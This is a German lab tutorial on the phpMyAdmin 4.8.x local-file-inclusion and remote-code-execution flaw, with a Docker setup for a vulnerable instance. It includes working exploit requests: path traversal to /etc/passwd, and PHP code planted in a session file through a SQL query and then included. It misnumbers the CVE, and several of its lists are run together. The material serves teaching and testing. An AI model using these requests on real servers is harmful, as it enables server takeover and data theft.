
Diese Anleitung hilft Ihnen, die verwundbare Komponente zu installieren und den Angriff im Zusammenhang mit dem phpMyAdmin-Fehler aus CVE-2018-1263 durchzuführen.
Dieser Exploit bezieht sich auf ein Problem, das in phpMyAdmin-Version 4.8.x vor 4.8.2 entdeckt wurde. Durch die Ausnutzung des Problems kann ein Angreifer Remote-Codeausführung und Local File Inclusion auf dem Server durchführen. Die Schwachstelle liegt in dem Codeabschnitt, der für die Weiterleitung und das Laden von Seiten innerhalb von phpMyAdmin verantwortlich ist. Der Code enthält einen fehlerhaften Test für Whitelist-Seiten, der den Angriff ermöglicht. Ein Angreifer muss authentifiziert sein, außer im Fall $cfg['AllowArbitraryServer'] = true (bei dem ein Angreifer einen beliebigen Host angeben kann, den er bereits kontrolliert, und beliebigen Code auf phpMyAdmin ausführen kann) und im Fall $cfg['ServerDefault'] = 0 (der die Anmeldeanforderung umgeht und den verwundbaren Code ohne Authentifizierung ausführt).
Die Schwachstelle wird durch eine Umgehung der Validierung in der verwundbaren Pfadprüfungsfunktion verursacht. Diese Schwachstelle ermöglicht es einem authentifizierten Remote-Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
In index.php von phpMyAdmin gibt es eine Dateieinbindung, die durch die Angabe eines Parameters namens target in der URL ausgelöst werden kann. Der Codeabschnitt, der den Parameter target validiert, sieht wie folgt aus:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
In diesem Code führt er include $_REQUEST['target']; aus, sobald die if-Bedingung erfüllt ist. Wir müssen also nur die if-Bedingung umgehen, um auszuführen, was wir wollen.
Betrachten wir die if-Bedingung
target nicht leer sein darf und ein String sein muss.target dahingehend ein, dass er nicht mit index beginnen darf.target nicht in $target_blacklist enthalten sein darf.
$target_blacklist wird direkt vor der if-Bedingung definiert und enthält import.php und export.php, d. h. alles außer diesen beiden Seiten ist erlaubt.Core::checkPageValidity($_REQUEST['target']).
checkPageValidity alles hinter ? aus $page und prüft, ob es in der Whitelist enthalten ist. Der String nach ? ist nicht Teil des URL-Pfads. Eine Beispiel-Whitelist ist ebenfalls im Codeausschnitt gezeigt.Wie bereits erwähnt, hat der Angreifer über den Parameter $_REQUEST['target'] in der URL die vollständige Kontrolle über $page in der Funktion checkPageValidity. Stellen wir uns vor, der Angreifer sendet über den Parameter $_REQUEST['target'] den folgenden Wert an $page:
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
Die Funktion checkPageValidity führt dann Folgendes aus:
? und weist den ersten Teil $page zu. In diesem Beispiel ist der Wert von $page = db_sql.php.$_page, also db_sql.php, in der Whitelist enthalten ist. Da es in der Whitelist enthalten ist, gibt die Funktion True zurück und kehrt zu index.php zurück.Da die if-Bedingung in index.php nun True ist, wird die folgende Zeile ausgeführt, wie im obigen Codeausschnitt von index.php gezeigt:
include $_REQUEST['target'];
Was als Nächstes passiert, ist:
$_REQUEST['target'] ein, was bedeutet, dass Folgendes ausgeführt wird:
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php existiert oder nicht, wird /../../../../../../../../etc/passwd ausgeführt und der Inhalt der Datei /etc/passwd in der Antwort an den Angreifer zurückgesendet.Wir können dies nun nutzen, um Local File Inclusion oder sogar Remote-Codeausführung durchzuführen, um eine Reverse-Shell zu erhalten. Wenn wir in phpMyAdmin eine Abfrage ausführen, wird eine Sitzungsdatei erstellt und mit dem Abfrageinhalt im Verzeichnis /tmp gespeichert. Die Sitzungsdatei heißt sess_< SESSION ID >. Die Sitzungs-ID kann leicht im Cookie mit der Inspect-Option des Browsers gefunden werden.
Wenn wir also die folgende Abfrage in phpMyAdmin ausführen:
SELECT '<?php phpinfo();exit;?>'
Sie wird in der Sitzungsdatei gespeichert. Stellen wir uns vor, unsere Sitzungs-ID für phpMyAdmin lautet e15cffd3ab25a631136611fba9ca2042.
Wenn wir dann die folgende Adresse im Browser aufrufen:
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
Dann versucht phpMyAdmin, die Sitzungsseite zu laden, und da die Seite den durch die Abfrage bereitgestellten PHP-Code enthält, wird der PHP-Code ausgeführt. In diesem speziellen Beispiel sehen wir phpinfo in der vom Browser geladenen Seite. Mit dieser Technik können wir beliebigen Code auf dem entfernten Server ausführen.
Die Exploit-Infrastruktur erfordert eine verwundbare Version von phpMyAdmin und mysql. Wir verwenden Docker-Container, um die erforderlichen Komponenten zu installieren. Für die verwundbare Version von phpMyAdmin verwenden wir die vorgefertigte Docker-Umgebung von Vulhub und für mysql die neueste offizielle Version von dockerhub. Das Installationsskript wird als Docker-Compose-YML-Skript bereitgestellt, das im Repository zu finden ist.
Wir gehen davon aus, dass auf der Zielmaschine docker und docker-compose installiert sind. Falls nicht, lesen Sie bitte die Docker-Dokumentation, um sie zu installieren. Sobald Docker installiert ist, führen Sie die folgenden Schritte aus, um die verwundbare Komponente einzurichten:
Klonen Sie zuerst das Repository auf Ihrer Zielmaschine und navigieren Sie in das geklonte Verzeichnis:
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
Führen Sie dann das Docker-Compose-Skript mit dem folgenden Befehl aus:
sudo docker-compose up -d
Sobald der Installationsprozess abgeschlossen ist, stellt Docker die phpMyAdmin-Seite auf Port 8080 Ihrer Maschine bereit. Sie können dies überprüfen, indem Sie die Seite in Ihrem Browser mit dem folgenden Adressformat öffnen:
http://your-machine-ip:8080
Wenn der Installationsprozess erfolgreich war, sollten Sie eine Seite wie die folgende sehen:

Das folgende Video ist ein Tutorial zur Durchführung des Angriffs:
Video-Link: https://drive.google.com/file/d/1UbLGEwMYswdrRAOMJLd0mFHbsNl1aPvt/preview
[1] https://www.exploit-db.com/exploits/44928
public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page hat, da dieser Wert direkt aus $_REQUEST['target'] stammt.